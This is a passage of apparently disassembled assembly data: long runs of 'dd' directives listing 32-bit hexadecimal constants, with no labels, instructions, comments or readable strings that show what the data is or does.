		dd 56FA0131h, 3C293F76h, 28D9CB6Ah, 0F426885Dh,	0F8927703h
		dd 848558B9h, 0E437FB42h, 70446B93h, 2718BEF5h,	0C67EB79h
		dd 52018394h, 3F1FB268h, 0FBF1AC8Ch, 0E2E5C97Eh, 105E2743h
		dd 697B279Eh, 74D661CFh, 57C330C2h, 8EB70766h, 0E5585106h
		dd 6B544B02h, 4D00178h,	2E5A0881h, 69E912CCh, 0A682A9CEh
		dd 0C10123B8h, 0D6D05E5h, 0B5843C8Bh, 0EA13AF3Eh, 2C155201h
		dd 483F26BAh, 621C088Ch, 295B9A82h, 6DA990CDh, 0F9AD8128h
		dd 0ED2735CCh, 0BB868C8h, 5442F468h, 0A906EBFDh, 12D2BB5h
		dd 9D854E73h, 0A0BF25E6h, 8878B762h, 0BE66C8FAh, 198A312Fh
		dd 7241D808h, 0DE52C06Fh, 2648FB49h, 0C2517825h, 9E1CBE08h
		dd 52FB004h, 27C08D1Fh,	5C6CE918h, 388492F3h, 50BE1B37h
		dd 18CDBD8Ah, 0B9B3DAE9h, 90504F7h, 0FB0122B8h,	0D83AA90h
		dd 0F5234BA9h, 9CEF2015h, 0F3181995h, 0A16BD5F0h, 0C5C466B7h
		dd 3D4D9853h, 0F1174908h, 576124Eh, 0A8448DD2h,	3DB7C331h
		dd 0E32607C0h, 29C92F23h, 89906BD0h, 0B6453F5Fh, 4F361CCh
		dd 38BE277Fh, 235E3E52h, 0F3C022A1h, 0B538925Ah, 5037A549h
		dd 5041BEA1h, 27A8325Ch, 0BF016105h, 122E1DECh,	16E7D12Dh
		dd 0B26AA00Ah, 4A41AF58h, 0DC51960Bh, 0FCBF6093h, 10CA5543h
		dd 0E10191F9h, 151A2AEEh, 130F3120h, 209EF18Eh,	0C30C8DC6h
		dd 490FD1B5h, 68044D96h, 5CE83097h, 3182A2A2h, 6FD05EF0h
		dd 4FEC2505h, 0BCC17312h, 0B26A2694h, 876885C2h, 614A49BAh
		dd 0EEC166C0h, 0EA736197h, 9CC90FEEh, 0E910558h, 0F2C46865h
		dd 97544F4Ch, 563AFDE9h, 0AA09AE83h, 0F64600DAh, 0C1329729h
		dd 752D7C0Ch, 0A16C70D5h, 727E0817h, 62A49103h,	0F2098B1Ah
		dd 8804755Ah, 2F20F16Fh, 6285232Ch, 79FAA9DDh, 0F4EDC87Ah
		dd 6595875Ah, 57F12F49h, 5C0528A1h, 0A549EFE9h,	0F87B7A5Fh
		dd 5E5A1764h, 5E8FCB29h
		dd 0D27558F0h, 0B0080C64h, 0F20CBE0Dh, 38281705h, 5055BC5Eh
		dd 7882BFBBh, 0B80C2ED7h, 9DB822Ah, 0B9DE1335h,	30368E0Ch
		dd 0DADA9DBBh, 2CAC83B5h, 0F3E7C80h, 788517FCh,	0F3B5C193h
		dd 0E5BF00C6h, 73252F7Ch, 831EC960h, 18CDA09h, 0B5C9D1FDh
		dd 98E700E4h, 0ECABE90Fh, 685C3EC1h, 643C129Fh,	353601C1h
		dd 0AB328065h, 96DF949h, 1CD198F2h, 0C22416E2h,	28AAE94Dh
		dd 0B31009DBh, 16708384h, 13823BC4h, 21DAA464h,	0BCC17B1h
		dd 0EE82D78h, 681393F8h, 0CA883E0Ch, 2078B055h,	24A03ADAh
		dd 8A281EA2h, 0F260DA68h, 0C4477E12h, 0C5E92709h, 0C39D4E83h
		dd 7F4F44BBh, 942CBF39h, 0FC27E412h, 53FAA479h,	5A2C0574h
		dd 0ED1B9EBh, 0A84C0459h, 173A26D8h, 9381F9ADh,	58DFA01h
		dd 0A8211174h, 312FCC6Ch, 0E8657758h, 7AA9BDA1h, 0FE02A648h
		dd 29625F40h, 882EBD0h,	2BE6FC1h, 6019D6BFh, 4D4419ABh
		dd 845BEEA3h, 0F49325A6h, 46935836h, 25BB6508h,	0DEB53F69h
		dd 6F10080Ah, 7CDE6625h, 9915A146h, 45AC3CBEh, 0F824B81Fh
		dd 41961242h, 4D850F01h, 0C94D8BEAh, 0BB35125h,	8314E7EFh
		dd 60EC7195h, 1B693B1Fh, 7AD4E916h, 0B74061E2h,	58774025h
		dd 0EC1D30E3h, 44345F14h, 56C201BAh, 0FA31277Dh, 0BE2C030h
		dd 2BD037E6h, 5D828409h, 0F6F02340h, 0BDDB449Dh, 5C6F4C94h
		dd 0F41011FCh, 51681285h, 417663D1h, 0C5C5BF94h, 9895F8Bh
		dd 0DB1CF4ABh, 0D8D92297h, 9B964617h, 0AE562421h, 0ADF528Ch
		dd 0DD725D61h, 0AAA43F18h, 0DF47BA97h, 5D7FA801h, 3DCDF07Eh
		dd 5E421F04h, 0C1BFDD87h, 9CF14E25h, 0F6654B36h, 0AE8104CCh
		dd 16CB1FE0h, 42775C45h, 0DFC1FC88h, 384B7507h,	4D6809C4h
		dd 0F0167503h, 81E8FEA1h, 0DF69C195h, 0C73E8251h, 0F088E234h
		dd 53389C55h, 4913BF5Ch, 8F7AFC92h, 0D463C968h,	0C1C45B5Dh
		dd 28D8211Dh, 104DD46Ah, 0B902100Ah, 0BF3224Dh,	0A4078B80h
		dd 2938CF1Ah, 7C0EA6E9h, 0E9EFFCA5h, 126D9E55h,	0CC771468h
		dd 2A4E45E4h, 4F071243h, 10C9614h, 1AF80254h, 29B366E9h
		dd 7CD6DEBDh, 62B11F42h, 0FEDF40C0h, 0DD6815C9h, 810A21Eh
		dd 35480188h, 2FDF1725h, 9071C13Eh, 0E7C83F84h,	5250045Ch
		dd 8488DEB2h, 3127AE71h, 8AF96D55h, 0D272E53Eh,	12DAA75h
		dd 0CAC90CAFh, 0D9903F1Dh, 257275EBh, 3FD66A6Fh, 699008A0h
		dd 1E7ADD20h, 903EDC1h,	47F9EE28h, 0C622A66Ah, 82B4D39Fh
		dd 74C4632Eh, 5C080C12h, 7A6E9FC3h, 0E989D9A5h,	0A2E7F84Ch
		dd 5A3D7E9Fh, 76A553FCh, 5C6625E8h, 19BB6817h, 718D018Ch
		dd 585C1E40h, 0AB0DB52Dh, 28C7B390h, 309D2563h,	8A03B56h
		dd 0BE815184h, 37DD6E26h, 0D33BB23Eh, 46D429BEh, 0D58137CCh
		dd 890F006Ch, 0C6E657Dh, 0D708FE4Eh, 55843B29h,	0C150D0B0h
		dd 216C1378h, 0B1E341B1h, 1E1D11B7h, 8058206Fh,	109037E1h
		dd 0C5389B25h, 109BA6E3h, 0EFF054F6h, 1F494A4Eh, 95B05717h
		dd 0BB809EACh, 65AD0BC3h, 57823140h, 0C101C4A9h, 52B04E7h
		dd 613323F7h, 9203DBB4h, 85E0A959h, 0B7D7EC49h,	1AC5C6A0h
		dd 6B58055Ch, 13E83FF4h, 0D0AD16F7h, 4EF8F3D3h,	0D25B139Ah
		dd 4BC150A7h, 5366D1Fh,	789E1785h, 0DC490AEh, 0F55C1121h
		dd 27411725h, 4A62A88Ch, 3C014B2Fh, 0EAC16D21h,	0E2622002h
		dd 0F5F7BD05h, 38FAD601h, 1624EBD1h, 0CD0223EEh, 60B97225h
		dd 958F923Fh, 0F45DAE8h, 873E8015h, 96F50781h, 0E9E217B0h
		dd 7742F0F9h, 0E0DD4B45h, 743F65D8h, 0A83D1605h, 385C3C30h
		dd 309F98C1h, 0F14B6BC5h, 0C326B1A8h, 90B09556h, 5091113Ah
		dd 1CDA8408h, 0D34AF709h, 573FA4C5h, 0E58194A8h, 10628909h
		dd 0A33E0778h, 2E81CA49h, 5F32F883h, 9ED9047h, 3CF95676h
		dd 8140F5AFh, 0A6F8E7F7h, 0B52D7203h, 0FF68CC11h, 7020595h
		dd 771E91E9h, 4AF4B8ECh, 10CCD94Ah, 21DCBEAAh, 4CF46BB0h
		dd 2D0F743h, 20F03504h,	36C1757Eh, 555B0182h, 2141B70h
		dd 893F3A7Fh, 5C6A5AD5h, 0DD63880h, 0CC155BDh, 35FD3B37h
		dd 0CDBC006Ah, 250C3389h, 324740DDh, 0F2C05A01h, 60B9602Ah
		dd 258E0C70h, 0E92A47E6h, 694C9E0h, 0C05A2D3Ch,	19A1BE18h
		dd 96790E6Bh, 5F752298h, 9345D0B5h, 60B29D57h, 0FC3C1296h
		dd 4FA0498Ah, 0E9A159E8h, 3472893h, 0B65266ACh,	1DFED180h
		dd 6A304B79h, 3D93CF73h, 0F385305h, 22E9C28Dh, 0BB9F728h
		dd 0F80139D3h, 0D4C1112Bh, 55617E53h, 277C82AAh, 7630C1C9h
		dd 92447C9h, 3C02622Dh,	83433F44h, 0B253A99Dh, 0BFF55877h
		dd 50B2E96h, 2B80C0ACh,	26F4F4C1h, 57092D83h, 0C704B0DFh
		dd 0F3239D8Ah, 6492375Eh, 0D426E343h, 35803766h, 43B63997h
		dd 7318C448h, 96520B13h, 12B97AA9h, 0BE64161Eh,	9EBAF16h
		dd 3D0D4FDh, 65F4803Dh,	4CF12B44h, 95D5B36Ah, 50AC44Ch
		dd 0F750F413h, 0CD8127BCh, 0D357092h, 47379340h, 29131789h
		dd 0B4D0FCE8h, 7FBD8CC5h, 2B043848h, 0AA3D1514h, 8126294h
		dd 548B4F09h, 87EE8020h, 0F0CC502h, 4F40F3F7h, 271ADFC5h
		dd 0D499112Ah, 477225A2h, 565A5971h, 83879EFCh,	0F381E0EBh
		dd 0A876211Ch, 566692BFh, 0D1E950A0h, 1811744Dh, 880A6984h
		dd 5A5373D4h, 0F161B8E7h, 32C155Bh, 0DF56BBC1h,	32C22E41h
		dd 53ED004Fh, 0E7EC099Dh, 3718C20Bh, 0CDC20F44h, 826E3E08h
		dd 88804ADFh, 46E86294h, 0CEBF5703h, 739A865Ch,	0AAEBA321h
		dd 486802D2h, 5F2D0B5Dh, 9AD2911Ch, 0C16E9FF1h,	37EAF4Dh
		dd 3EF4704Eh, 0E1DF96B9h, 3A4ACA75h, 0A5B4C55Dh, 7C85D854h
		dd 3F85EE18h, 63361999h, 0B8E6E909h, 4F422F51h,	0BB187555h
		dd 0CE3262EAh, 60085A06h, 0D067057Ah, 0C2098512h, 0B5C36EE9h
		dd 7C933350h, 1DFD5609h, 0A565F829h, 991EA759h,	8BF0E925h
		dd 0D32E56E0h, 0D2CAD24Eh, 512A0545h, 2D88115Eh, 5E74E950h
		dd 87EB6CF1h, 68D90C4Fh, 16AC0DA4h, 0BF133481h,	0E2AFB049h
		dd 31BC53A0h, 36F568E6h, 12125803h, 0F45FEA4h, 4AF33A95h
		dd 0C175B81Eh, 0EB057A49h, 60F1216Bh, 3AAB705Bh, 0AF274210h
		dd 9218AC5Bh, 0B757B5B0h, 0E4A7FEC7h, 0BF67E29Dh, 8E48BA32h
		dd 3D730E54h, 0A23A00B0h, 8A39280Fh, 0C7083A02h, 0E1CB3132h
		dd 5307A415h, 0C716E4EEh, 29CC25B3h, 31604B5Ch,	4090660h
		dd 57391E82h, 48F68F6Eh, 5E0F0997h, 9037E2B7h, 0D1BB5300h
		dd 0D74B4C2Eh, 0B8C0E12Dh, 82EEC88Ah, 0F1B8675Ah, 30936E6h
		dd 861A0646h, 820D072Fh, 5241B295h, 0B89ED771h,	67CC5E6Ah
		dd 88969606h, 0EE2DDA12h, 0EBB0FA96h, 67242576h, 6F5EA5EAh
		dd 6D3CBD51h, 0EFB5BA02h, 4BD565FDh, 2D5EF8CEh,	9A742E53h
		dd 0A49C1EBBh, 9D056FC8h, 0BB49FB92h, 6816E0A1h, 0BD225AB9h
		dd 0D603B1A2h, 2D2B593h, 41CDB2ECh, 1A5F80C2h, 0B95AA1h
		dd 0C73A22BDh, 8E0F4D1Ah, 4B917B4Ah, 0F6509543h, 4FC0162Dh
		dd 4F388F0Bh, 0E92E2AE8h, 830F2E58h, 29DC2C3Ah,	6E21838Ch
		dd 0A3681B0Ch, 4058A952h, 414AC9Dh, 10812CE2h, 311028C8h
		dd 0BE92111Ch, 50FE714Ah, 88DF4255h, 0D5D9FE07h, 0B453BE07h
		dd 5C73B018h, 685B8195h, 4F2657E7h, 4C05742Fh, 10CBBA51h
		dd 0DAE6995Fh, 5E4AE918h, 0B691E4A6h, 2143D89Fh, 339F6AD5h
		dd 7C214AAFh, 204C2CCDh, 3A0604BBh, 0F2010347h,	680A40E7h
		dd 5C4D232Eh, 0DA5D5EC0h, 0ECA09F26h, 2D2167BCh, 0F15C0125h
		dd 990CA0F1h, 95FEC482h
		dd 550A853h, 0E422C505h, 0EAAE1BC2h, 68755E42h,	802227D4h
		dd 0E4D55AD0h, 515AC2DBh, 456018B5h, 949D7EA9h,	142D677h
		dd 0D24F6904h, 66D13F7Dh, 4F3AF33Bh, 4FF0578Dh,	4856CEA4h
		dd 5C0082BEh, 57AABA0Eh, 31483D65h, 0C0DB259Ch,	0B8C78042h
		dd 5FF73D96h, 9A81ECA5h, 6B30F6B2h, 9C2C28C3h, 0CA030BFFh
		dd 7F5E76C1h, 0EA225B3Dh, 0C5656018h, 9C16D2EEh, 0AEADEC0Bh
		dd 83A92Ah, 0F8884CB7h,	0C0022C5Bh, 0BB06E83Ah,	1205C884h
		dd 565023AEh, 25464896h, 7830E0C7h, 8BC582AFh, 740AD3Eh
		dd 3FD6860h, 0B738F1E8h, 0B895612Ch, 7075ED01h,	377C250Dh
		dd 3D0F64E0h, 35E22281h, 29F57D14h, 0D4DE0B68h,	7EB25837h
		dd 22D5202Dh, 6C6FFD0Dh, 66DF2059h, 937D6197h, 9F1998E4h
		dd 65623551h, 9A9D7E94h, 23066D7Eh, 44C0BF10h, 80C9FEB2h
		dd 14EB48C1h, 8CA84A7Dh, 7207AEDFh, 0CE291FF4h,	4EBB8EF3h
		dd 0E49B011Fh, 3A4EB43Bh, 3029C028h, 0E919206Fh, 0A29FC2C9h
		dd 29A55EAh, 0F980FE01h, 78B43484h, 0E95045B4h,	0D8B35837h
		dd 0BD455C9h, 4B5D4BC4h, 0F1C66453h, 0AE9154F0h, 0C902BB68h
		dd 402CD256h, 5C58B663h, 0EA589BBBh, 5C84078h, 4D6A309h
		dd 8E310C9h, 29FB0860h,	0CC84401h, 0A3E95804h, 9BA4EB0h
		dd 3DAA7D3Ah, 0EA3EE481h, 51E46EBDh, 58C30489h,	0FA4FE868h
		dd 4B417CCCh, 68C92C84h, 0B6858C42h, 0D582AF5Dh, 0FB4AEA3Dh
		dd 248EA273h, 98753510h, 0BE9EA0C7h, 0E59591ACh, 8FE909C8h
		dd 0B92C2AFh, 44782105h, 0EABE7997h, 0C07209A8h, 0E6C50824h
		dd 0B0CF1753h, 8B9EB1B9h, 0D04EA19Ah, 2FE7D5F6h, 0BF113231h
		dd 52817E38h, 924B4068h, 6B531DA3h, 2D68A43Ch, 5B712B6Fh
		dd 51B029Bh, 30CFC5EAh,	0ED33C07Fh, 0A62C29ECh,	1C34B12Bh
		dd 91C081Ah, 0E0840414h, 5D210500h, 31284604h, 6E20A8C2h
		dd 0C59B089h, 6C67424Ch, 513B9A0Ch, 0F1F2DF1Bh,	0DD463106h
		dd 0DA0B1E13h, 7C508EA3h, 287830FCh, 5E65C70Ch,	813ED89h
		dd 21016F8Ah, 0B5E91C6Fh, 0D4EF9325h, 5280C1F9h, 2D718E23h
		dd 300B33F2h, 9E0C170h,	0B9B5CB0h, 0CB037342h, 9A1F5DEBh
		dd 654C6C6Bh, 125E9C43h, 0EFC4FC9Dh, 0F5056901h, 9D9FABBh
		dd 0CD027B6Ch, 5F6A7AF1h, 57589678h, 121E27DCh,	0AFEA7D4Dh
		dd 281CFFC1h, 0ED6809B5h, 5AAFC635h, 0F5F944FCh, 60BB0062h
		dd 182D4963h, 9C06E3C1h, 0B00E4180h, 8C8C0F05h,	0FCB652Eh
		dd 55564A70h, 7F3E8486h, 0D92EE912h, 0D47C96DDh, 0C6173948h
		dd 0C16CB871h, 1353B866h, 9328C1F5h, 7F62CB5Eh,	1DBDC5Dh
		dd 305BF580h, 0C7ED59EAh, 0D0580E6Eh, 284868C3h, 0BC5D8518h
		dd 0B505CCF3h, 0E9E131D9h, 9D2BDFDAh, 41023694h, 65FF2118h
		dd 0C0A73A05h, 0E11DE710h, 500AAE8Fh, 9A91B055h, 4CD3BD81h
		dd 3F20527Ah, 40071D2Bh, 0DBF58034h, 0F438E33h,	82C68A25h
		dd 0D7EDD19Fh, 0AFA7AD89h, 1FFB9B2h, 66FE28F2h,	281D028h
		dd 3ECF3AE9h, 5A18DC98h, 57E8321Bh, 2909561h, 4A4D6801h
		dd 18949FD2h, 91848495h, 0B55262F0h, 3101E9FBh,	4F335A0Ah
		dd 4A06DB46h, 8484F951h, 0B2057DEBh, 0C783C2F0h, 30FE9AC1h
		dd 50B501DDh, 68E5377Fh, 0EDE9D106h, 0E6BB74DDh, 305CCC5h
		dd 56C1D9BCh, 6B091268h, 508269F6h, 0A2E073B8h,	910B0576h
		dd 0D5897C82h, 1E51E586h, 591AED00h, 6437B956h,	2C2FB8E2h
		dd 0C0B885D9h, 1EC66C6Dh, 30FB819Fh, 0C52F37A0h, 40F4ACD7h
		dd 24EC590Ah, 14DA4C16h, 74089ACh, 0BB455468h, 0CC082DE9h
		dd 20B59939h, 0A8406E7Dh, 7BE609BDh, 0DF764560h, 0B9B03D0Ah
		dd 98074F41h, 1CA6C30h,	0B011839h, 28C9830Fh, 37715E0Fh
		dd 207F6BACh, 525A5C33h, 20FF5658h, 555D0661h, 9F0D1D68h
		dd 3BB71B20h, 39AF17B3h, 0E8B9D961h, 0E0FA003h,	0A559CD31h
		dd 3CDA8E0h, 977ACC71h,	1A74F28Fh, 5CBD11F5h, 1291F62Eh
		dd 1EA76046h, 4C38680Bh, 845AC4FCh, 0A8142FFAh,	0FCD34D13h
		dd 0EB26F1B3h, 40C68301h, 71F5F685h, 0EB4B5B8h,	0E027CB25h
		dd 5C1FDBD2h, 6254AE9Dh, 8B93B9BAh, 78D45AD6h, 9B8B5C51h
		dd 0E663A1E9h, 975FE1A9h, 6F09580Ah, 96A6035Bh,	0EA692D06h
		dd 0CC13F5Ah, 49A467CEh, 88D502Fh, 0D1A8E909h, 0CBE8BF25h
		dd 44B25ADBh, 0B9539658h, 6B99F93Eh, 2A590E0Eh,	50F49ED9h
		dd 2DF39F73h, 5700C7ABh, 0ED5088BFh, 0DFF72870h, 0CD82291h
		dd 0AF137AF2h, 40AB8F12h, 42DEC739h, 15B0E10h, 8137F84h
		dd 453964AAh, 0EBE0B691h, 2EB40D30h, 8D6FF968h,	85D89060h
		dd 2726E94Eh, 0F106CB18h, 453D274Fh, 978F3338h,	0E4894B6Ch
		dd 0F50925E0h, 0FD607EEh, 0D28926F9h, 1127A575h, 0DAF6D045h
		dd 664741AAh, 0CBEC8850h, 960BBEB4h, 451A381h, 81C7847Ch
		dd 4147D00Bh, 109601B1h, 4048F10Ah, 441CD68Eh, 1088164Dh
		dd 4F04D913h, 0C1E7C147h, 2E2A9655h, 66055C60h,	50491338h
		dd 70D1001h, 0B2E3E90Ch, 822A0F40h, 9C9389FDh, 1EA32A88h
		dd 5DF54640h, 1A3FA268h, 422C2503h, 92657FFDh, 0E9A1EA90h
		dd 5E3A2854h, 0CA4AAC8Fh, 5CAA45FBh, 612AE9CBh,	0CDF05563h
		dd 3A9008BAh, 0F6991920h, 0ACF25B8Ch, 4C52B2E7h, 0A1097FEh
		dd 0B0B6BDC5h, 1AFA9951h, 970A060h, 0A8F6BBC0h,	0F6341D6Bh
		dd 2F8F9EC8h, 0ABE0ADD4h, 4308F69h, 0C0163C2Dh,	1E44A840h
		dd 10C2AC94h, 580A0E9h,	4272BA59h, 316DD73Ch, 4042642Fh
		dd 41142B0Ch, 92403EAFh, 0BF4907EFh, 19E94250h,	5DFCF9FAh
		dd 7F875A82h, 26902574h, 365DB272h, 0C4CB4B90h,	36779C00h
		dd 4393BE70h, 31673212h, 0A090451Ch, 0FFD3F61Dh, 6F997F0h
		dd 6073242h, 904A159h, 53E2D1C2h, 0E98343F2h, 8740F84Ch
		dd 0CF0415AFh, 0CB215851h, 5AC187E4h, 598898AAh, 0B3951BDh
		dd 0E1D35D51h, 46370A0Bh, 1EF22FCEh, 2E47C3F9h,	730D0018h
		dd 508D951h, 0F054831Dh, 0F5F9C865h, 78301444h,	0FD58F21Eh
		dd 0CCE4571Ch, 12470893h, 62B97FC0h, 4B104D46h,	3F47E441h
		dd 3E5B5E14h, 71AA07D0h, 0AFB28274h, 0F3B6407h,	40450D18h
		dd 162CB366h, 63C23139h, 2FC97D6Ah, 0BB40285Ah,	7491726Ah
		dd 0D58D14BCh, 2214B28Bh, 520F5CC6h, 0C8A14092h, 9F381C0h
		dd 0AB8D4E5h, 0A694B450h, 9318F769h, 6E581FE9h,	0C8A5A5A3h
		dd 103BF32Ah, 0EC58F508h, 0E84B883Ch, 0AAE2B5D6h, 2690810h
		dd 761FEE2Dh, 0AC08FD5Ah, 41532807h, 23282F18h,	4BCA97FBh
		dd 8D6D607Dh, 1479282Ch, 238812D6h, 6BABC57h, 5422020Dh
		dd 1CB80CDCh, 3E246608h, 0E617418h, 0BA27618h, 0EA01AA8Ah
		dd 0B6122805h, 64B7AD6h, 992D0513h, 0EBBD122Ah,	2A68982Ch
		dd 525157Dh, 0CE45D4BDh, 9EF9102Fh, 0F398AA30h,	7B055728h
		dd 0A271E96Ch, 0B9FC5393h, 2DC3B5h, 3B4AB704h, 0D90ABE32h
		dd 942508EBh, 0F0C3B714h, 331E3404h, 0C4EA7530h, 44930F06h
		dd 8237D4E4h, 35DE62B1h, 0D97C2A40h, 2D582857h,	1DE92D06h
		dd 0C2B98A00h, 4990C8A6h, 0C05EF134h, 17140FBh,	0D47FE9D9h
		dd 0D250B39Fh, 2D49D40Eh, 3408A1D1h, 5AF43030h,	88981F7Eh
		dd 8BDCD630h, 92751EAh,	0FA010790h, 7BB9B500h, 0D7F936E8h
		dd 31785CA0h, 3CA07FE3h, 8D585AC2h, 36923A69h, 95C3F849h
		dd 4CACEE6Dh, 77C78E4Eh, 3CC89FF2h, 4DD9420Dh, 0EDE8896Eh
		dd 7B046F1Ch, 0B1B8CCFEh, 3AA72C3Dh, 27BB68FEh,	86604040h
		dd 0D4F633E2h, 0D4B7D008h
		dd 0C092A0F8h, 5307ED1Eh, 22979C4Bh, 9B1AA61h, 0C2373AF5h
		dd 8B66FCBEh, 0E909CFBEh, 846A5AE1h, 5E0C6825h,	3DB63F8Ch
		dd 8B976662h, 88069117h, 2BA920F3h, 676DBD81h, 1CEF2912h
		dd 0FD1AC296h, 0F08084C8h, 61F0322Dh, 0BF0A3690h, 0DC5A3068h
		dd 441F5104h, 0DBC366C0h, 31091385h, 0C21F1C29h, 0EE23E9FDh
		dd 1C4E93D4h, 2BF52D3h,	0EA88DB7Bh, 186A4C5Fh, 608E2C0h
		dd 0F2388004h, 54D02553h, 0E6C94E8Bh, 0F7DCB64h, 416835F7h
		dd 2A2F8850h, 0B61151D1h, 9EEE8105h, 0A698FC59h, 8B0DF19Dh
		dd 0D07B7502h, 0BDC9F8AFh, 0A2278FDBh, 7CBCB0A1h, 2F66827Dh
		dd 946BBF51h, 24FA5DF1h, 4A0B108Dh, 0D2411AA6h,	1253E82Ah
		dd 0C4CF1C30h, 0F9438060h, 0DD79CBB2h, 4B5DEB3Eh, 8D3C9C89h
		dd 30BFD612h, 0B00F31C7h, 0EAB94B50h, 95D07A0h,	841C573Dh
		dd 69216851h, 0ABD246E3h, 70682761h, 0ED4A156Ch, 0D129C691h
		dd 5B6EA44Eh, 0BE898859h, 881A1554h, 20CE48h, 0E3C0595Ah
		dd 5E840F03h, 0E9F7050Eh, 0B9C55244h, 4A90248h,	755D43B2h
		dd 0F2ED7168h, 0F0D4C282h, 3A6F9F45h, 0D513320Bh, 3E05810h
		dd 0A46F3504h, 0DB846D24h, 0D296ACh, 951E315h, 42FD2922h
		dd 6ECF7A8h, 82A45764h,	176F52DDh, 0D4B3EC63h, 0E95E406Bh
		dd 72B8955Bh, 8F4B0BDEh, 126FA94h, 2B0235CFh, 414C4144h
		dd 2FD4C59Eh, 0F6839531h, 6441D729h, 5AB8500Bh,	142768FDh
		dd 0B87C62Ah, 42BA1757h, 9A016C58h, 0E93D5B74h,	0B553270Dh
		dd 0A9F384F3h, 0A71D354Fh, 0E7AC4BE9h, 7F8CFBA4h, 66814001h
		dd 0BF1AD5Eh, 2ABCB842h, 1BB24C9h, 6CE66298h, 82A13A29h
		dd 63D18F0h, 4FE97E84h,	0F8B52FABh, 69C61D0Ch, 8157DD51h
		dd 77A571EEh, 8B042FACh, 41BBB724h, 65E3C354h, 25D4F6F4h
		dd 2808EB14h, 64029556h, 0E96DC454h, 0CB0ECA7Ah, 0F9E44F87h
		dd 0AC6E86BFh, 24D06821h, 0A58FC804h, 58511E56h, 2814BD22h
		dd 6881FD2Ah, 7F4EA41Dh, 0A96B1FC2h, 95B45D86h,	0C3FDC2B5h
		dd 0D72DC0F1h, 2A4AB732h, 885F0803h, 271EFDD4h,	53894199h
		dd 0C5F2F23Bh, 49BF09F9h, 0C3620DCCh, 26D9C75Dh, 0CE892541h
		dd 4D2566DCh, 0FA53167Eh, 3B021E40h, 30811E5Fh,	0E90D06F2h
		dd 68CB7CDFh, 4D3045Eh,	0BC99D1BBh, 0B9ECEBBFh,	0A1E9C5C2h
		dd 61B3F592h, 1FBED9E8h, 0EF0C9713h, 0C4072631h, 2FADEC04h
		dd 6284F606h, 0BE7E15D3h, 0E673382h, 156BDF32h,	2E0D829Fh
		dd 72020D78h, 0E964377Ch, 3E5EC9h, 0B37B06BBh, 6805521Ah
		dd 2A790C96h, 0E95F83CBh, 5CA00E7h, 0F4DB656h, 8F752F8Dh
		dd 0C2728B5Eh, 81751064h, 9CDAB5C5h, 9D57E913h,	0A8901EE8h
		dd 52111C1Fh, 0A8890162h, 9C781A46h, 22425E6Eh,	4A76E96Ah
		dd 0B08075B0h, 0AF40026Bh, 37051098h, 4B662C46h, 12C2A808h
		dd 0EE490F50h, 2D1F52Fh, 0D45A3CCAh, 0E413FF2Fh, 0E9020605h
		dd 0A22023A7h, 30053B80h, 0E29A4066h, 175E4474h, 2E6A11F2h
		dd 6C0189BFh, 60603C7Eh, 9C627A0Ah, 2A585191h, 30C43BA7h
		dd 37FA1360h, 0E070B56Eh, 53955942h, 7E002AAh, 506077E7h
		dd 4AFE7454h, 56EA0100h, 0DB1F63BEh, 31C09F57h,	499FDDF2h
		dd 0D8A7E65Dh, 41F15A58h, 875DADA4h, 0E9AB0D0Bh, 122EE196h
		dd 0C769870Fh, 0FE25B5C2h, 0C6E55F41h, 57F58FC5h, 0F6338D2Eh
		dd 894AE55Fh, 4459FA01h, 0B3E95140h, 0EB179EE0h, 9697464h
		dd 9B83D771h, 8912FC8Ah, 0B5FD8B0Bh, 0EFDB68C5h, 2EE95ECCh
		dd 975578ABh, 7A9DA8C7h, 2CF9634Dh, 0B11CF791h,	5927192Ah
		dd 6AC3025Eh, 4D5D029Dh, 3002B441h, 5A0B28DAh, 8B2914CBh
		dd 0B280D740h, 85C6850h, 581DC71Fh, 82F4C354h, 55B34DE9h
		dd 10C2BA20h, 0CC4EC685h, 56863E84h, 0BCA94F3Ch, 52E9090Eh
		dd 60E05ED2h, 76A502B6h, 941E8FAh, 168BA67Ah, 7AF7981Eh
		dd 81F95827h, 8B68E2B7h, 0FAA508E9h, 0BE3C166h,	0DE3D39E0h
		dd 48A103D5h, 96EA1FBFh, 59273B4Bh, 86E904BBh, 3BD996F0h
		dd 75AE6F2h, 81714D93h,	0F3203BBFh, 1A54023Ch, 0A1DCE905h
		dd 52A7BA01h, 144DEF6h,	465B2E4Eh, 41A66C29h, 0D6C20208h
		dd 48C6B9C0h, 723D9A1Eh, 89E9F042h, 5E1CECE4h, 2D5112C2h
		dd 89E16BFBh, 1766A813h, 28A0E70Eh, 0DBF85332h,	0C0D101BFh
		dd 0B07F05E2h, 5D9830F5h, 0EB3BF1ECh, 0F28A24E9h, 582D4490h
		dd 5A44F6C2h, 0EF038697h, 0D5F04C25h, 25AB0589h, 0A7160EDBh
		dd 0C8AA8C35h, 72B5EB2Dh, 0BAE93439h, 86D2B9ABh, 4B63AFF3h
		dd 62A34EFEh, 58C515D8h, 34F4EFFAh, 25A7F44Fh, 0E414563Eh
		dd 0AA780E6h, 98E2657h,	1C7DB1C0h, 0A2CE5BB1h, 0FB292804h
		dd 6304029Ch, 89C13B1Ah, 3C80CDA3h, 0C1FEDDB1h,	5E9AF186h
		dd 0E1A441E9h, 2146A530h, 1C47098Fh, 41229220h,	35B07A54h
		dd 2D822E0Fh, 0D51D42CAh, 4C547B7Ah, 51025A9Ch,	69688EB1h
		dd 0BF2E609h, 0F34B5B0h, 0FFE9FE60h, 1786B56h, 548DF181h
		dd 6C301214h, 0A9BA4B4Dh, 2B9E4B3h, 0B372AB92h,	97637008h
		dd 80397B60h, 5E2A6880h, 0D0923358h, 478FD30Fh,	53A80640h
		dd 0BF32A2Bh, 4E89462h,	25EC8884h, 554C458Fh, 0E85EB412h
		dd 0CD099EF7h, 5172FC9Bh, 916DAD72h, 1380691Fh,	0B450F3B2h
		dd 0E25A2085h, 1217AFCBh, 882DFB09h, 80DEC230h,	0F7788853h
		dd 0A57C8729h, 26C9BA1Fh, 63D98540h, 40B29588h,	2E00BB70h
		dd 5C47C403h, 1C882AB5h, 0D78059EFh, 0C178F11Bh, 3C4979D8h
		dd 0AA955490h, 0F59A6A4Fh, 20C5F64Fh, 0DBE5B7F5h, 0E8427324h
		dd 0C63A4852h, 0EAFEE01Eh, 125BEAEEh, 0AB5AF330h, 0C109C1Ch
		dd 0B31AD1Eh, 31DD4968h, 31758A24h, 5917B326h, 35C1E001h
		dd 0DD059341h, 0E60094BBh, 0F10C27ABh, 0D814AF81h, 1D5AC9A3h
		dd 8C87BBC1h, 0F9E5122Ah, 0A41CD374h, 0DF3574D2h, 1E378F02h
